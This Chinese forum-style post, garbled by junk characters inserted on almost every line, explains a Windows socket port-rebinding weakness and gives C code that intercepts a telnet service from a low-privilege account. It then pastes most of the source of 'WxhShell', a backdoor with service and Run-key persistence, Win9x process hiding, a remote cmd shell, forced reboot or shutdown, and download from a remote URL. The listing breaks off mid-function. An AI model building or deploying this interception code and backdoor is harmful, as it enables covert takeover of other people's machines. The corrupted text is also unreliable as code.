在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7AS_Aw1L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]=%6n@z' ;Xa
N saddr.sin_family = AF_INET;
AAs&P+;
ByuBZ!m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&XdTY + Q-!gO bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hkyO_ns 9J~\.:jH- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
g1?9ge1 SB08-G2 这意味着什么?意味着可以进行如下的攻击:
o<iU;15 1<fW .Q) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O) TS$ _si 5z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@tPr\F c{dabzLy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.j &# Qclq^|O0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y8^WuN$ _G-y{D_S& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
u]7wd3( a??8)=0|} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
AC'_#nPL# ^a`3)WBv8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dHTx^1 -Ci&h #include
^iBIp# #include
3^nH>f-Y #include
!4cY^4>o #include
^[r1Dk DWORD WINAPI ClientThread(LPVOID lpParam);
7i{(,: int main()
_{;_wwz {
UgK
c2~ WORD wVersionRequested;
2IE\O8b DWORD ret;
YvcV801Go WSADATA wsaData;
4xq| BOOL val;
\y:48zd SOCKADDR_IN saddr;
"oNl!<ep SOCKADDR_IN scaddr;
UKZ)Boo int err;
z6l'v~\ SOCKET s;
8PH4v\tJEK SOCKET sc;
mNacLkh[ int caddsize;
0ug&HEl_w HANDLE mt;
gpf0-g-X DWORD tid;
;3wO1'= wVersionRequested = MAKEWORD( 2, 2 );
H<n"[u^@E err = WSAStartup( wVersionRequested, &wsaData );
H8[A*uYL
if ( err != 0 ) {
uSRhIKy printf("error!WSAStartup failed!\n");
A)3H`L return -1;
wBwTJCX }
KK #E
qJ saddr.sin_family = AF_INET;
9(q(;|;Hp #T2J + //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1%*\*z
7(X
z%v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GM'yOJo saddr.sin_port = htons(23);
Y I;iG[T,& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Hnk&2bY {
aA52Li printf("error!socket failed!\n");
P_NF;v5v return -1;
T}=^D= }
OqDP{X: val = TRUE;
Jy%?"wn //SO_REUSEADDR选项就是可以实现端口重绑定的
OR!W3
@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

S<Gm*$[7 {
CN:T$ f|) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^ex\S8j if(mt==NULL)
-ycYQ~R {
mc8Q2eQat} printf("Thread Creat Failed!\n");
e
}?.3,? break;
iaEQF]*cC }
7]zZdqG&p` }
{~&Q"8
}G CloseHandle(mt);
{~ F|"v }
@}g3\xLiK closesocket(s);
}URdoTOvb WSACleanup();
EG3,TuDH8 return 0;
<6Gs0\JB }
>h;]rMD!| DWORD WINAPI ClientThread(LPVOID lpParam)
:tU^ {
X:g5;NT SOCKET ss = (SOCKET)lpParam;
GIxs>E'X SOCKET sc;
0LH6G[ unsigned char buf[4096];
wCNn/%C SOCKADDR_IN saddr;
5kTs7zJ^ long num;
Y06^M?} DWORD val;
jBYvOy*$Q DWORD ret;
15Mtlb //如果是隐藏端口应用的话,可以在此处加一些判断
hFv{?v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
oH%[8!# saddr.sin_family = AF_INET;
I{g.V|+x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ApeqbD5g& saddr.sin_port = htons(23);
Uc {m##! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8R3{YJ6@T {
xt?-X%oY8 printf("error!socket failed!\n");
.6C/,rQ?c return -1;
3;BIwb_ }
=;uMrb4 val = 100;
7\2I>W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MVzuE} {
G5/A{1sz& ret = GetLastError();
2@6@|jRG return -1;
`_OrBu[ }
8A3/@Z;0S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#\lvzMjCC {
F5
]<=i ret = GetLastError();
j9[I6ko5' return -1;
$YEm(:v$ }
-9t"$)& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mYgfGPF` {
Mi8)r_l%O printf("error!socket connect failed!\n");
[cd1Mf:[Y closesocket(sc);
]A=\P,D closesocket(ss);
&/WM:]^?0) return -1;
5N|LT8P}Z }
-[-oz0`Sl{ while(1)
yqq1 a
o {
ewk7:zS/? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vw2E$ya //如果是嗅探内容的话,可以再此处进行内容分析和记录
.<`)`:n+B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5U475& num = recv(ss,buf,4096,0);
k9rws if(num>0)
HD=F2p send(sc,buf,num,0);
+zMPkbP6 else if(num==0)
#! R>`l(S break;
}b(hD|e num = recv(sc,buf,4096,0);
Th9V8Rg+E if(num>0)
W`Gbo
uxd send(ss,buf,num,0);
?^%[*OCCC! else if(num==0)
"frZ%mv break;
bzNnEH`^] }
?`U_|Yo closesocket(ss);
xOe1v9< closesocket(sc);
UGO;5! return 0 ;
XMI*obS'z }
]LC4rS hI86WP9* F0U %m ==========================================================
}MRgNr'k >6o <Q 下边附上一个代码,,WXhSHELL
%`&n ;K.c p<r<Y% ==========================================================
7_1 Iadb )-3~^Y#r_ #include "stdafx.h"
t`K9K"|k f1_; da #include <stdio.h>
pRobx #include <string.h>
L K#A #include <windows.h>
o7!A(Eu #include <winsock2.h>
8IlUbj #include <winsvc.h>
$?PI>9g! #include <urlmon.h>
?l9sj]^w XZ
|L D# #pragma comment (lib, "Ws2_32.lib")
:.+w'SEn4M #pragma comment (lib, "urlmon.lib")
{:gx*4}q8 HqWWWCWal #define MAX_USER 100 // 最大客户端连接数
Zmyq6.1q~ #define BUF_SOCK 200 // sock buffer
kS-BB[T #define KEY_BUFF 255 // 输入 buffer
I_ZJnu< w"9h_;'C_ #define REBOOT 0 // 重启
Z5q%L!4G #define SHUTDOWN 1 // 关机
~JL
qh _VT{2`|}) #define DEF_PORT 5000 // 监听端口
5qnei\~ }gv'r
"; #define REG_LEN 16 // 注册表键长度
9!n:hhJM #define SVC_LEN 80 // NT服务名长度
l7VO8p]y[R Z?o0Q\}1 // 从dll定义API
aze#Cn,P} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4@0aN6Os typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|URfw5Hm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%" H:z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
FFw(`[A_ +yO) 3 // wxhshell配置信息
Wa^Wn +r struct WSCFG {
#'&-S@/nQs int ws_port; // 监听端口
-w"I char ws_passstr[REG_LEN]; // 口令
o!BCR: int ws_autoins; // 安装标记, 1=yes 0=no
&s`)_P[ char ws_regname[REG_LEN]; // 注册表键名
bPFGQlmIO char ws_svcname[REG_LEN]; // 服务名
B9"o Ru^} char ws_svcdisp[SVC_LEN]; // 服务显示名
HKJCiQ|k char ws_svcdesc[SVC_LEN]; // 服务描述信息
;I*t5{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
kc2B_+Y1 int ws_downexe; // 下载执行标记, 1=yes 0=no
t08U9`w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MM32\}Y6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:5~Dca_iU4 |-=-/u1 };
,h^6y gV@xu)l // default Wxhshell configuration
RkG?R3e struct WSCFG wscfg={DEF_PORT,
P}Ig6^[m\ "xuhuanlingzhe",
w]gLd 1,
d8:
$ll "Wxhshell",
}6[jJ`=gOx "Wxhshell",
EcHZmf "WxhShell Service",
h/\v+xiF "Wrsky Windows CmdShell Service",
y05!-G:Y\ "Please Input Your Password: ",
%_Vz0
D!7 1,
HAO-|=c4 "
http://www.wrsky.com/wxhshell.exe",
(>0`e8v! "Wxhshell.exe"
KcV"<9rE };
z#Jw?K_ l5w^rj // 消息定义模块
tQzbYzGb7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
@M\JzV4 A[ char *msg_ws_prompt="\n\r? for help\n\r#>";
C,W@C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
c:K/0zY char *msg_ws_ext="\n\rExit.";
zdJPMNHg char *msg_ws_end="\n\rQuit.";
Nt8"6k_ char *msg_ws_boot="\n\rReboot...";
\*CXXp` char *msg_ws_poff="\n\rShutdown...";
c_qox char *msg_ws_down="\n\rSave to ";
)$^xbC#j`3 3/vtx9D char *msg_ws_err="\n\rErr!";
\/1~5mQ+ char *msg_ws_ok="\n\rOK!";
2tK~]0x l^R:W#*+U char ExeFile[MAX_PATH];
&;ddnxFI
int nUser = 0;
zKP[]S- HANDLE handles[MAX_USER];
]CP5s5 int OsIsNt;
A/=cGE 6g-jhsW6 SERVICE_STATUS serviceStatus;
P7}w^#x SERVICE_STATUS_HANDLE hServiceStatusHandle;
w-WAgAch k`>qb8, // 函数声明
R,D/:k'~k int Install(void);
'~b int Uninstall(void);
Ut~YvWc9 int DownloadFile(char *sURL, SOCKET wsh);
-!+i
^r int Boot(int flag);
Z|@-=S(. void HideProc(void);
lJAzG,f int GetOsVer(void);
`P\H{ int Wxhshell(SOCKET wsl);
`{YOl\d_ void TalkWithClient(void *cs);
X#axCDM- int CmdShell(SOCKET sock);
g[i;>XyP int StartFromService(void);
3\ajnd| int StartWxhshell(LPSTR lpCmdLine);
%rs2{Q2k uvl91~&G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
fAStM: VOID WINAPI NTServiceHandler( DWORD fdwControl );
S3x^#83 *}:P // 数据结构和表定义
PYQ SERVICE_TABLE_ENTRY DispatchTable[] =
VT>-* {
d
>L8SL {wscfg.ws_svcname, NTServiceMain},
FsUH/Y
y {NULL, NULL}
P:6K };
jR1^e$ Nkb%4ofKqu // 自我安装
AIl`>ac int Install(void)
TCzz]?G]la {
IJ.H/l}h char svExeFile[MAX_PATH];
`ci
P HKEY key;
Onqapm0 strcpy(svExeFile,ExeFile);
n\Is}Czl mu0L_u(P // 如果是win9x系统,修改注册表设为自启动
k7:ISjJ if(!OsIsNt) {
,?U(PEO\f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+q2\3REzx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MV<)qa T RegCloseKey(key);
VKXi*F9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7202N?a
{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r8R7@S2V' RegCloseKey(key);
n)cc\JPQ return 0;
71Q`B#t0'Z }
mn1!A`$ }
t`&mszd~T }
s7E %Et else {
si%V63 ^lN `&a8Wv // 如果是NT以上系统,安装为系统服务
aU +uPP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\zVp8MMf if (schSCManager!=0)
eiOAbO#U {
6/QWzw.0c SC_HANDLE schService = CreateService
hDJ+Rk@ (
mq<:^ schSCManager,
56."&0 wscfg.ws_svcname,
^38kxwh wscfg.ws_svcdisp,
9&kY>M>z0 SERVICE_ALL_ACCESS,
8fvKVS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
G|?V}pZ SERVICE_AUTO_START,
'lC=k7@x SERVICE_ERROR_NORMAL,
;,/G*`81B svExeFile,
Lo'GfHE NULL,
WZA1nzRc NULL,
/q]fG NULL,
*s1o?'e NULL,
U2_; NULL
=*4^Dtp );
|L;Hd.l7^* if (schService!=0)
fiAj#mX {
K~&3etQF CloseServiceHandle(schService);
BR6HD7G CloseServiceHandle(schSCManager);
z,qNuv"W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:'H}b*VWx strcat(svExeFile,wscfg.ws_svcname);
-K^(L#G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
UHl1>(U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>SZuN"r8` RegCloseKey(key);
AnsJ3C return 0;
6(Cjak+~! }
fb8xs< }
K/(Z\lL CloseServiceHandle(schSCManager);
kad$Fp39 }
"H=fWz5z }
VF-[O ojWf]$^y} return 1;
^*NOG\BK@ }
A?ESjMy(R ^SUo-N'' // 自我卸载
<p_2&&? int Uninstall(void)
|<YF.7r; {
Q>=/u- HKEY key;
48GaZ@v U$ZbBVa`~ if(!OsIsNt) {
@bFl8- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F>u/Lh! RegDeleteValue(key,wscfg.ws_regname);
'~6l
6wi RegCloseKey(key);
SZgan if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^3&-!<* RegDeleteValue(key,wscfg.ws_regname);
0"@p|nAa RegCloseKey(key);
.}tpEvAw} return 0;
|Pse=_i }
ijNI6_eU }
A.P*@}9 }
Z!?T&: else {
j~ qm5} G#^6H]`[J: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
G|$n,X1O( if (schSCManager!=0)
su=]gE@ {
\y/0)NL\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
U%2{PbL
if (schService!=0)
xl,?Hh%# {
^F"eHUg if(DeleteService(schService)!=0) {
6:TA8w| CloseServiceHandle(schService);
p_sqw~)^% CloseServiceHandle(schSCManager);
.O4=[wE!U return 0;
`O,"mm^@U }
0c#|LF_ CloseServiceHandle(schService);
X`}4=> }
X 0m6<q CloseServiceHandle(schSCManager);
wB*}XJah }
P6ugbq[x#e }
SQ`ec95', +m6acu)N. return 1;
^6^A/]v }
>3ASrM+>w |VX0o2 // 从指定url下载文件
H`U>ZJ. int DownloadFile(char *sURL, SOCKET wsh)
8g
2'[ci$q {
E+aE5wmr HRESULT hr;
Luh*+l-nO char seps[]= "/";
y=WCR*N char *token;
p["20?^ char *file;
NEMC char myURL[MAX_PATH];
W QyMM@# char myFILE[MAX_PATH];
}Mh`j$ xHwcP2 1 strcpy(myURL,sURL);
A `=.F token=strtok(myURL,seps);
{$-\)K while(token!=NULL)
.`N&,&H {
I*
JSb9r file=token;
yi1V \8DC token=strtok(NULL,seps);
0bMbM^xV6 }
T+<OlXpL kv3V| GetCurrentDirectory(MAX_PATH,myFILE);
'#Y[(5 strcat(myFILE, "\\");
o7 X5{ strcat(myFILE, file);
W#[3a4%m send(wsh,myFILE,strlen(myFILE),0);
LfS]m>>e send(wsh,"...",3,0);
FkIT/H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
AQz&u if(hr==S_OK)
X=b]Whuv return 0;
h`p9H2}0 else
q"^T}d d, return 1;
V}"w8i+D? >!2d77I }
4EEXt<c. X6c ['Zrc // 系统电源模块
?9AtFT int Boot(int flag)
ig,v6lqhM {
$t$YdleIH HANDLE hToken;
bG9$ &, TOKEN_PRIVILEGES tkp;
B6a
,!g%`@u if(OsIsNt) {
<)9E .h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+LAj h)m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lilF _y tkp.PrivilegeCount = 1;
GGwHz]1L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_:,U$W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H;eOrX{GT if(flag==REBOOT) {
f0lK,U@P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ns[Q %_ return 0;
t12 xPtN1 }
o.H(&ex| else {
oT27BK26?h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p=U5qM.O return 0;
{VrjDj+Xy }
<swYo<?J# }
[6t!}q else {
}fKpih if(flag==REBOOT) {
7Cj6Kw5k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Tn8GLn return 0;
qy|si4IU8, }
VjVL/SO/ else {
%7bZnK`C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
KFMEY\ 6\h return 0;
J~vK`+Zs }
!>5!Fb=Sy }
Z}'"c9oB BAS3&f A return 1;
i^'Uod0d. }
j8Csnm0 BWN[>H %S // win9x进程隐藏模块
S7
Tem:/ void HideProc(void)
2r=A' {
d4zqLD$A ^d2bl,1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T&`H )o if ( hKernel != NULL )
Pa!r*(M)C {
K+_$
WT_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
O.8{c; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BSu
]NOwe FreeLibrary(hKernel);
RGim):1e }
"Aq-H g jFBnP,WQ return;
%A<|@OSdOa }
"~lGSWcU p$cSES>r: // 获取操作系统版本
&t\KKsUtd int GetOsVer(void)
{r!X W {
l1qWl OSVERSIONINFO winfo;
a_0G4@=T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Wg+fT{[f| GetVersionEx(&winfo);
a~F`{(Q2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
SrVJ Q~:> return 1;
`<L6Q2Y>j else
{
+%S{=j return 0;
5'Fh_TXTD }
,4wZ/r>
d Dab1^H!KT // 客户端句柄模块
=K)au$BE| int Wxhshell(SOCKET wsl)
GUyc1{6 {
EI29; SOCKET wsh;
Px)/`'D struct sockaddr_in client;
xv{iWJcs DWORD myID;
m_z1|zM}o ? h$>7| while(nUser<MAX_USER)
7QlA/iKqK {
FFNv'\) int nSize=sizeof(client);
|h,aV(Q wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
04wmN if(wsh==INVALID_SOCKET) return 1;
@"m?
# IYy2EK[s handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
AdtAc$@xK if(handles[nUser]==0)
%HJ_0qg closesocket(wsh);
F:CqB| else
In)#`E` g. nUser++;
&OiJJl[9 }
l }?'U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
24Y~x`W Z;_WU return 0;
oh5fNx }
=B(zW.Gf l#,WMu& // 关闭 socket
\7}X^]UV x void CloseIt(SOCKET wsh)
bqMoO7&c {
TWC^M{e closesocket(wsh);
yS#LT3>l nUser--;
)h~MIpWR ExitThread(0);
SZCFdb }
dOFxzk,g&R H5Rn.n( | // 客户端请求句柄
i>S
/W!F void TalkWithClient(void *cs)
: /9@p {
mb*L'y2r 3`&2- SOCKET wsh=(SOCKET)cs;
iaq0\d.[7 char pwd[SVC_LEN];
cvbv\G'aT char cmd[KEY_BUFF];
|/g\N,] char chr[1];
Zjt3U;Y int i,j;
DiAPs_@ pbivddi2 while (nUser < MAX_USER) {
eA>O<Z1> IiACr@[?e if(wscfg.ws_passstr) {
;fhFv&`mE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%/H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n2R{$^JxO //ZeroMemory(pwd,KEY_BUFF);
d;ElqRC& i=0;
G1Cn[F;e while(i<SVC_LEN) {
6ZVJ2xs[% laqW
{sX^5 // 设置超时
J%3%l5/ fd_set FdRead;
">kfX1LT struct timeval TimeOut;
5isejR{r FD_ZERO(&FdRead);
_tN"<9v. FD_SET(wsh,&FdRead);
+"a .,-f! TimeOut.tv_sec=8;
9q;\;- TimeOut.tv_usec=0;
&gkloP@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X LPO_tD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VuFH
>8n 8p7Uvn+m* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Tc@r#!.m pwd
=chr[0]; MZE8Cvq0
if(chr[0]==0xd || chr[0]==0xa) { <?,o
{
pwd=0; ekfD+X
break; JcZs\ fl9
} G7`7e@{
i++; `Y/DttjL
} W z3y+I/&
0,nDyTS^
// 如果是非法用户,关闭 socket yjpV71!M
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .-[UHO05^8
} by&#g
<O>r e3s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N>7INK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ./)A6O*#
~jmHzFkQ
while(1) { x\!Qe\lE
_;{n+i[
ZeroMemory(cmd,KEY_BUFF); +%8c8]2
IC/'<%k
// 自动支持客户端 telnet标准 |~W!Y\l-
j=0; _{KQQ5k\
while(j<KEY_BUFF) { *8fnxWR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ezm ~SY
cmd[j]=chr[0]; !Z,h5u\.w
if(chr[0]==0xa || chr[0]==0xd) { MMD4b}p
cmd[j]=0; +o!".Hp
break; WsQo+Ua
} 0eQyzn*98
j++; rcPP-+XW
} f$NudG!S
D(s[=$zua
// 下载文件 !9k)hP
if(strstr(cmd,"http://")) { ]&qujH^Dd*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'AE)&56
if(DownloadFile(cmd,wsh)) %:N6#;l M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vN-#Ej.
u
else v1QE|@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fnG&29x
} UC;_}>
else { b"t!nfgo
9@#Z6[=R,
switch(cmd[0]) { u} JL*}Q
^LE`Y>&m
// 帮助 j\("d4n%C
case '?': { $OHY^IE(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); { o=4(RC
break; I`}-*%ki(
} #q%xJ[
// 安装 c</d1x T
case 'i': { OnC|9
if(Install()) .KGW#Qk8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _+S`[:;a
else O$E3ry+?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^UZEdR;
break; KO<Yc`Fs
} H ZIJKk(
// 卸载 `B"=\0
case 'r': { +n %uIv
if(Uninstall()) m\__Fl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZTWbe
else GNA:|x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rgw\qOb
break; H*!j\|v0
} =4"D8UaHr
// 显示 wxhshell 所在路径 G@oY2sM"
case 'p': { 3aQWzEnh
char svExeFile[MAX_PATH]; :t8(w>oW
strcpy(svExeFile,"\n\r"); =M>1;Qr<Z/
strcat(svExeFile,ExeFile); ec[S?-
send(wsh,svExeFile,strlen(svExeFile),0); !iWPldn&]
break; iJk`{P _
} j` 9pZAF
// 重启 '`#2'MXG
case 'b': { ^1BQejD
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u{,e8. Z
if(Boot(REBOOT)) Aj#CB.y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lV:R8^d
else { %'nM!7w@I
closesocket(wsh); ^<'5 V)
ExitThread(0); znw\Dn?g
} @Nn9-#iW
break; Pdmfn8I]%
} :[m;#b
// 关机 z/)HJo2#
case 'd': { (GJ)FWen0"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wbshKkUh_*
if(Boot(SHUTDOWN)) AqZ{x9g!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^rMkCA@;TZ
else { a?.hvI
closesocket(wsh); J4#t1P@Na
ExitThread(0); Kgbgp mW
} ^]3Y11sI
break; sWP5=t(i+9
} Yj|Oy
// 获取shell ,`v)nwP
case 's': { fHCLsI
CmdShell(wsh); 5 e~\o}]
closesocket(wsh); Dj'aWyW'
ExitThread(0); acz8
H0cS
break; Mf
Dna>,Y
} w,cfSF;=tC
// 退出 .8S6;xnkC
case 'x': { NOLw119K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cu5Yvp
CloseIt(wsh); "jH=O(37
break; "G-}
wt+P
} \/g.`Pe
// 离开 o_p#sdt"
case 'q': { H'Bor\;[>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); O l1[ o
closesocket(wsh); U8KB@E
WSACleanup(); ATp7:Q
exit(1); l69&-Nyg
break; $@"o BCc
} yT%"<m6Y*\
} >!MOgLO3
} n#[-1(P
k3h,c;
// 提示信息 l5F>v!NA
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D]S@U>]M!
} _]a8lr+_-
} R5c
Ya
47.c
return; GoP,_sd\O
} ~F [}*%iR
Kq@n BkO4
// shell模块句柄 r63_|~JVB<
int CmdShell(SOCKET sock) 55MrsiW
{ _\hZX|:]
STARTUPINFO si; CB{%~
ZeroMemory(&si,sizeof(si)); ="<5+G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6!bp;iLKy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; / PDe<p
PROCESS_INFORMATION ProcessInfo; S
C7Tp4
char cmdline[]="cmd"; rVgz+'rFD[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aT1T.3 a
return 0; d0$dQg
} 23 j{bK
SQhk)S
// 自身启动模式 wDswK "T
int StartFromService(void) T+ey>[
{ ,ef"S
r
typedef struct dznHR6x
{ -Zx
hh
DWORD ExitStatus; 1t haQ"
DWORD PebBaseAddress; <7N8L
DWORD AffinityMask; qR^KvAEQSo
DWORD BasePriority; \g<9_
ULONG UniqueProcessId; M>W-lp^3
ULONG InheritedFromUniqueProcessId; ,3l=44*
} PROCESS_BASIC_INFORMATION; Kk#g(YgNz
Pw
i6Ly`
PROCNTQSIP NtQueryInformationProcess; q"xIW0Pc
ngJi;9X8*t
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gD E',)3Q,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Mq0QQ42
2c`m8EaJ
HANDLE hProcess; ?tS=rqc8oW
PROCESS_BASIC_INFORMATION pbi; ]H<5]({F
&$F4/2|b%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `##qf@M
if(NULL == hInst ) return 0; [lZo'o
d MQ]=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B7r={P!0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u3)Oj7cX
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ],CJSA!5F
u&/[sqx
